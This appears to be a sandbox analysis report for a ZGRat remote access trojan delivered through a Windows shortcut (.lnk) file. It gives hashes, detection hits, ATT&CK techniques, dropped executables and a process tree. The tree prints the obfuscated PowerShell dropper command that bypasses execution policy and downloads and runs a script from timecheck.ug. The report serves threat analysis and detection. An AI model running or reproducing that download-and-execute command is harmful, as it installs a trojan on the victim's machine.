zgrat | a41ad06e4263f3d0824678a2589d0ee13f013c4b5c07cc5a05ca0085a237e1fd

Analysis

max time kernel
51s
max time network
49s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
06/05/2024, 13:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

51e431b4fa084108a9524d0467a925d518659ac886be3451ffe5ec86da707f4a.lnk
Size

2KB
MD5

17dc01efda95cad71f3de00a136a6672
SHA1

7277a278d3c453adc868f5b27c2e937db3b0bf80
SHA256

51e431b4fa084108a9524d0467a925d518659ac886be3451ffe5ec86da707f4a
SHA512

33daa7f80b2e230ffd83e9211aa818679be9c0450871002ae0dc1892601592140011897173094a9e68bc9b164562f712633b9c56f5e273d636889d6923779f48

Score

10^/10

zgrat execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://timecheck.ug/ppx.ps1

Signatures

Detect ZGRat V1 32 IoCs

resource	yara_rule
behavioral2/memory/1596-46-0x0000000005AF0000-0x0000000005FA0000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-47-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-58-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-56-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-54-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-52-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-50-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-48-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-64-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-74-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-72-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-80-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-84-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-88-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-86-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-82-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-78-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-76-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-70-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-66-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-62-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-60-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-68-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-90-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-104-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-106-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-102-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-100-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-96-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-94-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-92-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1
behavioral2/memory/1596-98-0x0000000005AF0000-0x0000000005F9B000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4796	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	xnc.exe

Executes dropped EXE 5 IoCs

pid	Process
2156	xnc.exe
3796	xnc.exe
1596	bvasdvdfsds.exe
3672	dfgdvdfsds.exe
4804	cvbfsds.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3796	xnc.exe
3796	xnc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2156 set thread context of 3796	2156	xnc.exe	92

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2156	xnc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	1596	bvasdvdfsds.exe
Token: SeDebugPrivilege	3672	dfgdvdfsds.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2156	xnc.exe
3796	xnc.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4328 wrote to memory of 4796	4328	cmd.exe	87
PID 4328 wrote to memory of 4796	4328	cmd.exe	87
PID 4796 wrote to memory of 2156	4796	powershell.exe	91
PID 4796 wrote to memory of 2156	4796	powershell.exe	91
PID 4796 wrote to memory of 2156	4796	powershell.exe	91
PID 2156 wrote to memory of 3796	2156	xnc.exe	92
PID 2156 wrote to memory of 3796	2156	xnc.exe	92
PID 2156 wrote to memory of 3796	2156	xnc.exe	92
PID 2156 wrote to memory of 3796	2156	xnc.exe	92
PID 3796 wrote to memory of 1596	3796	xnc.exe	100
PID 3796 wrote to memory of 1596	3796	xnc.exe	100
PID 3796 wrote to memory of 1596	3796	xnc.exe	100
PID 3796 wrote to memory of 3672	3796	xnc.exe	104
PID 3796 wrote to memory of 3672	3796	xnc.exe	104
PID 3796 wrote to memory of 3672	3796	xnc.exe	104
PID 3796 wrote to memory of 4804	3796	xnc.exe	105
PID 3796 wrote to memory of 4804	3796	xnc.exe	105
PID 3796 wrote to memory of 4804	3796	xnc.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\51e431b4fa084108a9524d0467a925d518659ac886be3451ffe5ec86da707f4a.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -Windo 1 $Yh=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal pv $Yh;$MP=((New-Object Net.WebClient)).DownloadString('http://timecheck.ug/ppx.ps1');pv $MP
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Users\Public\xnc.exe
    "C:\Users\Public\xnc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Users\Public\xnc.exe
      "C:\Users\Public\xnc.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3796
    - - C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1596
    - - C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
    - - C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe" 0
        5⤵
        Executes dropped EXE
        
        PID:4804
    - - C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe" 0
        5⤵
        
        PID:1632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yq5zoajj.ytc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe

Filesize
5.3MB

MD5
de08b70c1b36bce2c90a34b9e5e61f09

SHA1
1628635f073c61ad744d406a16d46dfac871c9c2

SHA256
432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67

SHA512
18a30e480ce7d122cfad5a99570042e3bef9e1f9feda1f7be32b273a7248274285c65ac997c90d3d6a950a37b4ea62e6b928bfefc924187c90e32ea571bfd1f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe

Filesize
4.1MB

MD5
3306d64e6ef152b9c053653e45481107

SHA1
cf2a2917ea4ab3cdd6f48791600a77dbe9884937

SHA256
ea40182e63ab26b3a32d41f2a115a4324f921033b65c3ff5c145674fde62c945

SHA512
18d1a1d7de111a37f8ec7b07aa132c8f42e74a6b8bc56935782ce1d9a94f5192fff32f35b1530c84a0a983d5a7c108ffbddb777ed555dc503f87f6077fb716ff

Download Submit
C:\Users\Public\xnc.exe

Filesize
760KB

MD5
8333b78c2a3eacf8cfd843a7b62ce6ba

SHA1
81a4d7d00d04da14a6059ed068238a7e2321f721

SHA256
aaeaf69dc4dd105e8e2d637a9336af389b7c3d5175421d80fabd5c91be86b665

SHA512
c3fb49362632765d2fca9855b3ea004ba3548c8d86f92d4739b28623103b93ee532a03535b43628a1a00cd96198b91f319db9b1aa7891b17d2dedaa8ff919f27

Download Submit
memory/1596-72-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-88-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-98-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-92-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-94-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-96-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-100-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-45-0x0000000000A20000-0x0000000000F7A000-memory.dmp

Filesize
5.4MB

Download
memory/1596-46-0x0000000005AF0000-0x0000000005FA0000-memory.dmp

Filesize
4.7MB

Download
memory/1596-47-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-58-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-56-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-54-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-52-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-50-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-48-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-64-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-74-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-102-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-80-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-106-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-86-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-84-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-82-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-78-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-76-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-70-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-66-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-62-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-60-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-68-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-90-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/1596-104-0x0000000005AF0000-0x0000000005F9B000-memory.dmp

Filesize
4.7MB

Download
memory/3796-24-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/3796-27-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/4796-14-0x00007FFE33970000-0x00007FFE34431000-memory.dmp

Filesize
10.8MB

Download
memory/4796-2-0x00007FFE33973000-0x00007FFE33975000-memory.dmp

Filesize
8KB

Download
memory/4796-13-0x00007FFE33970000-0x00007FFE34431000-memory.dmp

Filesize
10.8MB

Download
memory/4796-26-0x00007FFE33970000-0x00007FFE34431000-memory.dmp

Filesize
10.8MB

Download
memory/4796-22-0x00000235D8760000-0x00000235D897C000-memory.dmp

Filesize
2.1MB

Download
memory/4796-12-0x00000235BE4A0000-0x00000235BE4C2000-memory.dmp

Filesize
136KB

Download